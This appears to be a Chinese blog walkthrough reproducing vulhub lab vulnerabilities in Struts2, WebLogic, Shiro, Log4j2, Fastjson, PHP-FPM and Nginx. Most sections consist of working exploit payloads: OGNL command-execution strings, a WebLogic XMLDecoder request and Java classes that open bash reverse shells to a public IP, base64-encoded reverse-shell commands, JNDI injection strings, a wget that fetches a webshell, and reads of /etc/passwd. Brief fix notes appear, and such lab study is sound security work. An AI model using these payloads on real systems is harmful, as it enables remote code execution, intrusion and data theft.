vulhub(持续更新)

vulhub(持续更新)

WL Lv3

本章复现一下vulhub的各类中间件和框架中的漏洞靶场.

建议在公网vps中部署,因为不用管那么多的报错,一般下载完docker并且克隆下vulhub靶场就能正常开启8080端口的映射

中间件:tomcat、JBoss、WebLogic、Nginx、apache

框架:Struts2、Shiro、Log4j2、Java Spring、ThinkPHP、Fastjson(json处理框架/库)

协议:fastcgi

struts2

S2-001远程执行代码漏洞(CVE-2007-4556)

影响范围:WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

进去是个登陆界面

漏洞描述:

如果用户提交表单(登陆账号密码)而且验证失败,那么后端会将用户提交的参数,也就是账号密码用OGNL方式进行解析并且返回,格式就是%{},举个例子,如果密码输入的%{1+1},后端解析并返回2的话,就说明存在这个漏洞

image-20250419195501190

image-20250419195520152

利用方式POC

实现获取tomcat路径

1
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"} 

获取web路径

1
%{ #[email protected]@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }

命令执行

1
2
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new
java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

image-20250419201404449

ls可换成不同的命令,也可以是{“cat”,”/etc/passwd”}替换掉{“ls”}

image-20250419201532927

也可以用struts2框架扫描漏洞

image-20250419202207569

S2-005远程代码执行漏洞(CVE-2010-1870)

起源于S2-003,影响范围:低于Struts 2.0.12

漏洞描述

OGNL表达式通过#可以来访问struts的对象,而stuts框架会过滤#来防止注入,但是可以通过unicode编码绕过过滤

image-20250419203757192

漏洞利用POC:

1
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/hacker%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

image-20250419205238406

去容器里面看看有没有创建

1
docker exec -it ID /bin/bash

image-20250419205325542

确实存在

S2-007远程代码执行漏洞(CVE-2012-0838)

影响版本:Struts 2.0.0 - 2.2.3

漏洞描述:

当用户在age模块输入非整数时,struts会将错误的表单进行字符串拼接,然后以OGNL语句执行并返回

进去是这个样子

image-20250421184407956

漏洞利用POC:

输入age

1
2
3
4
#age输入
'+(#application)+'
#返回结果
{org.apache.tomcat.InstanceManager=org.apache.catalina.core.DefaultInstanceManager@456c34bb, .freemarker.JspTaglibs=freemarker.ext.jsp.TaglibFactory@440d4204, org.apache.jasper.compiler.TldCache=org.apache.jasper.compiler.TldCache@67bfd9b0, org.apache.tomcat.JarScanner=org.apache.tomcat.util.scan.StandardJarScanner@6de1970c, javax.servlet.context.tempdir=/usr/local/tomcat/work/Catalina/localhost/ROOT, org.apache.catalina.resources=org.apache.catalina.webresources.StandardRoot@7fd4f90f, freemarker.Configuration=freemarker.template.Configuration@3b0810b2, javax.websocket.server.ServerContainer=org.apache.tomcat.websocket.server.WsServerContainer@1c49d70b, org.apache.jasper.runtime.JspApplicationContextImpl=org.apache.jasper.runtime.JspApplicationContextImpl@3f42f434, .freemarker.Application=freemarker.ext.servlet.ServletContextHashModel@43d2f010, org.apache.catalina.jsp_classpath=/usr/local/tomcat/lib/:/usr/local/tomcat/lib/tomcat-util.jar:/usr/local/tomcat/lib/tomcat-i18n-ja.jar:/usr/local/tomcat/lib/tomcat-coyote.jar:/usr/local/tomcat/lib/catalina.jar:/usr/local/tomcat/lib/catalina-storeconfig.jar:/usr/local/tomcat/lib/tomcat-jdbc.jar:/usr/local/tomcat/lib/tomcat-jni.jar:/usr/local/tomcat/lib/tomcat-i18n-es.jar:/usr/local/tomcat/lib/websocket-api.jar:/usr/local/tomcat/lib/servlet-api.jar:/usr/local/tomcat/lib/ecj-4.6.1.jar:/usr/local/tomcat/lib/jasper.jar:/usr/local/tomcat/lib/tomcat-websocket.jar:/usr/local/tomcat/lib/tomcat-util-scan.jar:/usr/local/tomcat/lib/jsp-api.jar:/usr/local/tomcat/lib/catalina-ant.jar:/usr/local/tomcat/lib/catalina-tribes.jar:/usr/local/tomcat/lib/annotations-api.jar:/usr/local/tomcat/lib/jasper-el.jar:/usr/local/tomcat/lib/tomcat-i18n-fr.jar:/usr/local/tomcat/lib/tomcat-api.jar:/usr/local/tomcat/lib/tomcat-dbcp.jar:/usr/local/tomcat/lib/catalina-ha.jar:/usr/local/tomcat/lib/el-api.jar:/usr/local/tomcat/lib/jaspic-api.jar:/usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/sunjce_provider.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/icedtea-sound.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/localedata.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/jaccess.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/nashorn.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/cldrdata.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/sunec.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/dnsns.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/sunpkcs11.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/zipfs.jar}

image-20250421185118656

漏洞利用poc

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

进行url编码

1
%27+%2b+(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()))+%2b+%27

image-20250421185551086

也可以用工具

vps开启http服务

1
python3 -m http.server 9999 #vps开启gttp服务,方便从目标靶机下载本地服务器的一句话马
1
wget http://vps_ip:9999/hack.php #wget下载http服务的一句话马

image-20250421191419741

修复方案

可以对其中的单引号进行转义,对过滤系统进行升级,比如正则表达式就可以过滤一些可能导致注入的非法参数。

S2-008远程代码执行漏洞(CVE-2012-0392)

漏洞范围:Struts 2.1.0 - Struts 2.3.1

漏洞原理:

devMode的debug模式(devMode模式是开发人员方便调试的,默认情况下,devMode模式是关闭的,但是仍然有不少网站开启着这个模式),造成的任意代码执行

访问/devmode.action可以发现devmode的开启image-20250421221713538

如果我们访问?debug=command&expression=<OGNL表达式>,那么这个get参数的传入会被debug模式执行

漏洞利用POC

1
2
3
?debug=command&expression=(#application) #访问全局上下文的对象
?debug=command&expression=%28%23application%29 #url编码

1
2
?debug=command&expression=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close())     
?debug=command&expression=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()) #url编码

命令执行的关键部分在java的运行函数部分java.lang.Runtime@getRuntime().exec(“whoami”)

image-20250421232510260

试一下工具

image-20250421232658026

修复方案

加强对用户输入参数的白名单过滤,Struts 2.3.1.2+或禁用DevMode

S2-009远程代码执行 (CVE-2011-3923)

影响范围:2.1.0 - 2.3.1.1

漏洞描述

S2-009中,有一个Parameters Interceptor内置拦截器,这个内置拦截器只会检测传入的参数名合不合法,但是不会检测我们传入的参数值,所以,如果在example5.action中传入一个参数名正常但是参数值为我们精心设置的OGNL表达式,就会绕过这个内置拦截器,从而实现远程代码执行RCE

触发地:/ajax/example5.action

image-20250422161001981

漏洞利用POC

1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]  #url编码后

image-20250422162110551

工具一把梭

image-20250422163219409

漏洞修复:

加强对参数名的正则表达式过滤,显示OGNL表达式的注入

weblogic

CVE-2017-10271

进入靶场image-20250421182645154

访问/wls-wsat/CoordinatorPortType

image-20250421183156645

因为这该目录下的wls-wsat.war组件中,使用了weblogic自带的webservice服务,其中使用XMLDecoder来解析用户传入的XML数据,导致解析时出现反序列化漏洞

burp抓包,放上去poc

image-20250421182442595

漏洞利用poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

在vps中开启监听

1
nc -lvvp 8080

image-20250421182239629

防御措施

删除WebLogic wls-wsat组件,然后再重启weblogic服务,或者去下载安全补丁

CVE-2018-2894(任意文件上传)

先访问console,建立成功

image-20250615124351552

可以未授权访问/ws_utc/config.do

image-20250615124538651

修改配置:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
上传文件

image-20250615130515143

连接http://ip:7001/ws_utc/css/config/keystore/时间戳_文件名

image-20250615130339957

漏洞防御

升级版本

CVE-2018-2628

基于T3的反系列化高危漏洞,基本原理是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。

1
2
3
4
5
6
7
8
9
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjE3My41Ny85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

#8888为开启JRMP服务的端口号
#Jdk7u21为机器的jdk版本 如果jdk版本>1.7,则直接填写Jdk7u21即可
#没编码之前:bash -i >& /dev/tcp/101.201.173.57/9999 0>&1
#bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjE3My41Ny85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}为反弹shell代码
要进行编码
#8888端口是jrmp服务的通信端口
#9999是反弹shell的端口

利用ysoserial-0.1-cve-2018-2628-all.jar生成payload

将漏洞服务器和JRMP服务器建立连接

1
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 101.201.173.57:8888 | xxd -p | tr -d $'\n' && echo

生成的payload替换weblogic_poc.py里的payload

漏洞服务器的IP地址和端口改成对应漏洞服务器的地址和端口

1
2
3
4
5
6
7
8
9
#vps监听9999端口

nc -lvvp 9999



#python2环境运行 exp

python2 weblogic_poc.py

Weblogic-CVE-2023-21839

基于T3协议的jndi注入,有lookup查询

shiro

CVE-2010-3863(Apache Shiro 认证绕过漏洞)

影响版本:Apache Shiro 1.1.0以前

漏洞描述:

访问/admin会跳转到正常用户登陆界面

image-20250422231954796

但是如果访问/./admin,就可以进行未授权访问

image-20250422232504585

CVE-2016-4437

shiro-550

CVE-2019-12422

shiro-721

CVE-2020-1957(认证绕过)

漏洞范围:apache Shiro 1.5.2版本之前

漏洞原理:shiro对URL的处理和SpringBoot对URL的处理方式有所不同,攻击者可以构造..;来制造跳转,然后绕过Shiro中对目录限制。

Shiro处理URL:

Shiro会截断URI,清除分号及其后的所有内容,只返回分号前的URI

SpringBoot处理URL:

Spring会先找到分号位置,检查分号后有没有/,有就记录/位置,并将分号前的数据与/后的

数据拼接,最后返回处理后的requestURI。

举例:访问http://localhost:8080/xxxx/..;/admin/

首先url传入shiro框架中,截断;之后的所有请求,返回http://localhost:8080/xxxx/.. ,然后经过标准化处理通过shiro权限校验。

最后/xxxx/..;/admin/这个原始请求,还会进入springboot框架中,经过处理得到/admin/这个请求。

最后拼接访问得到/xxxx/../admin/,从而实现了认证绕过

log4j2

CVE-2021-44228

log4j2

log4j2是apache下的一个开源的基于java的日志记录工具,在log4j的框架下进行了改进,引入了新的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

JNDI

JNDI,全称Java命名和目录接口,是Java中用于访问各种命名和目录服务的API,可以从指定的远程服务器里获取和加载对象,常用的协议包括BMI(远程方法调用)和LDAP(轻量目录访问协议)

漏洞原理

log4j2框架下的lookup查询服务提供了${}字段解析功能,只要碰到${这两个字符紧邻一起,就会触发替换机制,将表达式的内容替换为表达式解析之后的内容,从而导致攻击者实现远程代码执行。

比如说我传入${jndi:ldap:192.168.249.1:9001/poc.class},那么log4j2就会解析这条信息,通过JNDI的lookup()方法去 192.168.61.129:9001的ldap服务找名为poc.class的资源,如果找到,就会返回JNDI接口,然后下载这个.class文件并且执行,从而实现了远程代码执行。

受影响版本范围:

2.0 ≤ Apache Log4j2 <2.14.1

如何检测?

利用dnslog,先注册一个dnslog地址,然后拼接

${jndi:ldap://f27t8g.dnslog.cn}

${jndi:ldap://${sys:java.version}.xxx.dnslog.cn }

进行JNDI注入,如果在dnslog平台上收到了信息,就说明存在漏洞

一些常用的lookup类型

  1. 1. ${date}:获取当前日期和时间。
    2. ${pid}:获取当前进程的 ID。
    3. ${logLevel}:获取当前日志记录的级别。
    4. ${sys:user.home}:获取用户主目录。
    5. ${env:JAVA_HOME}获取 Java 安装路径。 或者其他的环境变量的位置
    6. ${ctx:key}:获取日志线程上下文中指定键的值。
    7. ${class:fullyQualifiedName:methodName}:获取指定类的静态方法的返回值。
    8. ${mdc:key}:获取 MDC (Mapped Diagnostic Context) 中指定键的值。
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11



    #### 漏洞利用-反弹shell

    ##### 工具一:JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar(旧版)

    先生成个反弹shell的命令

    ```bash
    bash -i >& /dev/tcp/101.201.173.57/8888 0>&1

base64编码一下

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjE3My41Ny84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

利用JNDI注入工具把这个反弹shell命令部署到LDAP服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjE3My41Ny84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "101.201.173.57"

之后会回显ldap的服务端口号,还有一个RMI服务,两个路径也会给出

1
nc –lvvp 8888  #监听端口

构造JNDI注入表达式

1
2
3
/solr/admin/cores?action=${jndi:ldap://101.201.173.57:1389/Exploit}

/solr/admin/cores?action=${rmi:ldap://101.201.173.57:1099/Exploit}
工具二:JNDIExploit-1.4-SNAPSHOT.jar(新版)

直接命令在vps里启动ldap和RMI服务

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 101.201.173.57

而且还会直接生成反弹shell的服务,只需要在本地监听对应的端口即可

1
nc -lvvp 8888

然后去进行JNDI注入,就可以拿到shell了

1
/solr/admin/cores?action=${jndi:ldap://101.201.173.57:1389/Basic/ReverseShell/101.201.173.57/8888}

image-20250616172444085

fastjson

影响版本:fastjson <= 1.2.24

fastjson

Fastjson是由阿里巴巴开发,用Java语言编写的一种高性能JSON处理库,主要用于实现Java

对象与JSON字符串之间的转换。该库并未采用Java原生的序列化机制,而是独立设计了一套序列化

方法。通过JSON.toJSONString和JSON.parseObject/JSON.parse 等接口,Fastjson提供了序列

化和反序列化的功能

深入一些来讲,为什么fastjson的反序列化机制这么特别呢,其实是因为它引进了AutoType功能,fastjson对json字符串进行反序列化时,会读取@type字段里的内容,将其反序列化为java对象而且还会调用这个类的setter方法

Auto Type功能

对于json框架来说,如果想要把一个java对象转化为字符串,一般有两种方法

第一种就是基于setter/getter,在 Java 中,settergetter 是一种 标准的方法命名规范,用于访问和修改对象的私有属性

  • getter:获取(get)属性值
  • setter:设置(set)属性值

它们通常配合 private 属性 + public 方法 使用,是 Java 封装(Encapsulation)思想的核心体现。

但是但是!setter/getter的命名方法在反序列化时会出现一个问题,那就是不能识别真实类型

举个例子来讲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
interface Animal {
void speak();
}

class Dog implements Animal {
private String breed = "Shiba Inu";
public void speak() { System.out.println("Woof!"); }
}

class Cat implements Animal {
private String color = "White";
public void speak() { System.out.println("Meow!"); }
}


##进行以下的操作
Animal animal = new Dog(); // 多态方式存储
String json = JSON.toJSONString(animal); // 使用 FastJSON 序列化


#输出的是
{"breed":"Shiba Inu"}

对这个json字符串进行反序列化的话,会发现无法知道这原来是个 Dog 对象,因为 Animal 是接口,它不能被直接实例化,而 JSON 中也没包含任何原始类信息

1
Animal animal2 = JSON.parseObject(json, Animal.class);

为了解决这个问题,FastJSON 引入了 AutoType 机制,也就是基于属性进行的json转化

具体实现方法就是利用@type字段在序列化时自动加上原始类名,解决了“类型丢失”问题

1
2
3
4
{
"@type": "com.example.Dog",
"breed": "Shiba Inu"
}

反序列化这个 JSON 时,FastJSON 就会:

  1. 读取 @type 字段
  2. 加载 com.example.Dog
  3. 实例化它,并将 breed 设置进去

为什么不用java自带的反序列化呢?

Java 自带的序列化(ObjectOutputStream)确实能保留类型信息,但是:

1.它生成的是 二进制流,不是 JSON(不便于跨语言)

2.效率不高,且不安全(readObject() 容易被攻击)

3.JSON 是更开放、轻量、跨平台的格式。

fastjson反序列化漏洞原理

@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

如何实现攻击呢?sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,这个类中有一个dataSourceName方法就支持传入一个RMI的源,只要可以解析里面的url就可以实现远程调用

漏洞利用

执行命令

首先创建一个TouchFile.java文件,里面实现的功能是在tmp目录下创建一个succuss文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1
javac TouchFile.java

vps起一个http服务,里面有我们想让靶机远程调用的TouchFile.class

使用marshalsec-0.0.3-SNAPSHOT-all.jar启动RMI服务,端口为9999而且加载了远程类TouchFile.class

1
2
3
4
python -m http.server 8080

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://101.201.173.57:8080/#TouchFile" 9999
#

抓包get改post

1
2
3
4
5
6
7
8
9
10
11
Content-Type: application/json
Content-Length: 170

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://101.201.173.57:9999/TouchFile",
"autoCommit":true
}

}

反弹shell

生成远程加载类GetShell.class,同上放在http服务上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;

public class GetShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/101.201.173.57/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1
2
3
4
5
python -m http.server 8080

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://101.201.173.57:8080/#GetShell" 9999

nc –lvvp 7777

exp

1
2
3
4
5
6
7
8
9
10
11
Content-Type: application/json
Content-Length: 168

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://101.201.173.57:9999/GetShell",
"autoCommit":true
}

}

一定要注意!!!!java的版本和javac的版本要一致,不然会失败!!!

image-20250616175450766

image-20250616175418449

fastcgi

什么是fastcgi

fastcgi其实类似于http协议,都是一种通信协议,http用于浏览器客户端和服务器中间件之间的通信,而fastcgi协议是用于中间件和某个语言后端进行数据交换的协议,fastcgi协议由许多个record组成,record里也有header和body两个部分,服务器中间件将header和body按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件,最后再返回给客户端。

什么是fastcji-fpm

FPM就是基于fastcji协议的一种解析器,nginx这类的服务器中间件将用户的请求按照fastcji协议的要求打包好之后就会发送给fpm去解析,

更生动地解释:

  • Nginx(或者Apache) 就像餐厅的服务员,负责接待客人,听清楚客人点的菜(请求内容)。
  • 客人点了个“菜单”(比如访问index.php?a=1&b=2),服务员拿着菜单去厨房。
  • 但是服务员自己不会做菜,他把菜单传给厨师。这里的厨师就是 PHP-FPM
  • PHP-FPM(厨师)收到菜单(通过FastCGI协议传来的信息),查看菜单上写的“菜谱”(/var/www/html/index.php),然后开始做菜(执行PHP脚本)。
  • 做好菜(PHP脚本执行完成),厨师把菜(处理结果,比如HTML代码)交给服务员(Nginx),服务员再端给客人(浏览器)。

用户如果访问http://127.0.0.1/index.php?a=1&b=2,而且web目录是/var/www/html,那么nginx会将请求处理成key-value键值对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

漏洞利用

第一种:PHP-FPM Fastcgi 未授权访问漏洞

frp端口一般为9000端口,如果出现未授权访问,也就是开发者错误的配置为0.0.0.0:9000端口导致任意用户均可以访问9000端口,那么就可能会导致远程代码执行

方法一:利用msf里的fpmexp模块

search fpm找到php_rpm_exp

show options

run

直接拿metherpher

方法二:利用exp手动注入命令
1
python3 exp.py ip/usr/local/lib/php/PEAR.php -c "<?php echo `ls`?>"

PERP.php是php自带的,一般一定可以访问到

注意几个常见的php配置选项

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;

auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

PHP_ADMIN_VALUE’: 'allow_url_include = On 允许远程文件包含

如果手动修改auto_prepend_file为php://input

就会利用input协议进行远程文件的读取,如果写入php代码到已知目录的文件中,然后再去包含他,就可以造成远程rce攻击

第二种:Fastcgi_nginx_PHP-FPM 远程代码执行漏洞CVE-2019-11043

类型:远程代码执行(RCE)

影响组件:PHP-FPM + Nginx 组合

影响版本:PHP 7.1.x、7.2.x、7.3.x(特别是默认启用 PATH_INFO 支持的配置)

利用条件

  • PHP 运行在 FPM 模式
  • Nginx 使用 fastcgi_split_path_info 且配置不严谨
  • 攻击者可以控制 URL 并传入 %0a(换行符)绕过正则处理
  • 目标未使用额外防护(如 try_files

fastcgi_split_path_info 是一个正则匹配指令,目的是将请求 URI 分成两部分

第一个分组:PHP 脚本本身(如 /index.php

第二个分组:PATH_INFO,即 /后面的参数(如 /test/abc

如果我请求/index.php%0a/test,那么就会导致PATH_INFO的值为null,那么PHP-FPM 解析器就会误解请求结构,导致攻击者可传入 payload 进行命令执行

下载工具(需要go环境)

phuip-fpizdam

go run . “http://101.201.173.57:8080/index.php

然后就可以执行各种命令了

http://192.168.136.13:8080/?a=cat%20/etc/passwd

http://192.168.136.13:8080/?a=ls

image-20250616183104516

image-20250616182602428

Nginx

CRLF注入漏洞

CRLF就是回车和换行,回车CR,换行LF,编码为\r和\n,十六进制里分别为0x0d和0x0a

如果攻击者可以控制用户的输入,在http响应的头部实现回显,那么就可能注入CRLF字符来恶意截断响应头部,然后插入恶意内容,可能会导致xss攻击

1
2
3
4
5
6
7
8
9
111%0d%0a222%0d%0a%0d%0a333就会被解析为

111

222



333

CRLF注入和xss很相似,区别在于CRLF注入影响的是主要是http相应的响应头,而xss影响的主要是主体部分(body),实现操纵 HTTP响应头中键值对,xss攻击。

/%0aSet-cookie:JSPSESSID%3Dpanch

image-20250617132944333

%0a —\n —-换行,切换到下一行的开头

%0d —\r —–回车,移动到当前行开头

打xss攻击

查看Nginx文档,可以发现有三个表示uri的变量:

1.$uri

2.$document_uri

3.$request_uri

1和2表示的是解码以后的请求路径,不带参数;3表示的是完整的URI(没有解码)

访问

1
/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

##X-XSS-Protection:0 注入到数据包中,当开启X-XSS-Protection:0配置时,浏览器不会开启过滤器

image-20250617133846223

防御:对特殊字符进行编码,如<、>、’、”、CR、LF这些

​ 创建白名单

​ 在数据传输到http响应头之前,删除掉所有的换行符

目录穿越漏洞

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

比如说

location /files {

​ alias /home/;

}

这是为了让用户访问 /home/目录下的文件,如果忘记加了/,那么就会目录穿越漏洞。

访问files/../

image-20250617134814539

修复建议:只需要保证 location 和 alias 的值都有后缀 / 或都没有 / 这个后缀

HTTP header头覆盖

nginx中可以添加很多安全配置响应策略,主要是用add_header来指定安全策略,

1
2
3
4
5
6
7
add_header X-Frame-Options SAMEORIGIN; 

add_header X-Content-Type-Options: nosniff;

add_header Content-Security-Policy "default-src 'self' ";

add_header X-Xss-Protection 1;

X-Frame-Options

给浏览器指示是否允许一个页面在,

如果随便一个带有,

X-Content-Type-Options

指定浏览器对未指定或错误指定的 Content-Type 资源真正类型的猜测行为,nosniff 表示不允许任何猜测,通常通常浏览器会根据响应头的 Content-Type 字段来分辨它们的类型,但是有一些资源的Content-Type 是错的或者未定义的,所以说某些浏览器会启用MIME sniffing来猜测该资源的类型,如果设置了这个选项,那么久不允许浏览器对后端返回的响应体进行Content-Type 字段的检测

Content-Security-Policy

主要是用来定义页面可以加载哪些资源,减少 XSS 的发生。

X-Xss-Protection

防范XSS,主流浏览器都默认开启

nginx解析漏洞

与nginx、php版本无关,属于配置不当造成的解析漏洞

php.ini配置文件中有个cgi.fix_pathinfo配置,默认是被注释掉的。

上传到根目录下一个php.jpg的图片马,如果我访问的是/php.jpg/aaa.php,这个aaa.php并不存在,正常来讲如果访问一个不存在的文件,那么nginx会返回错误信息提示不存在的,如果存在就去找php解析器去执行代码。

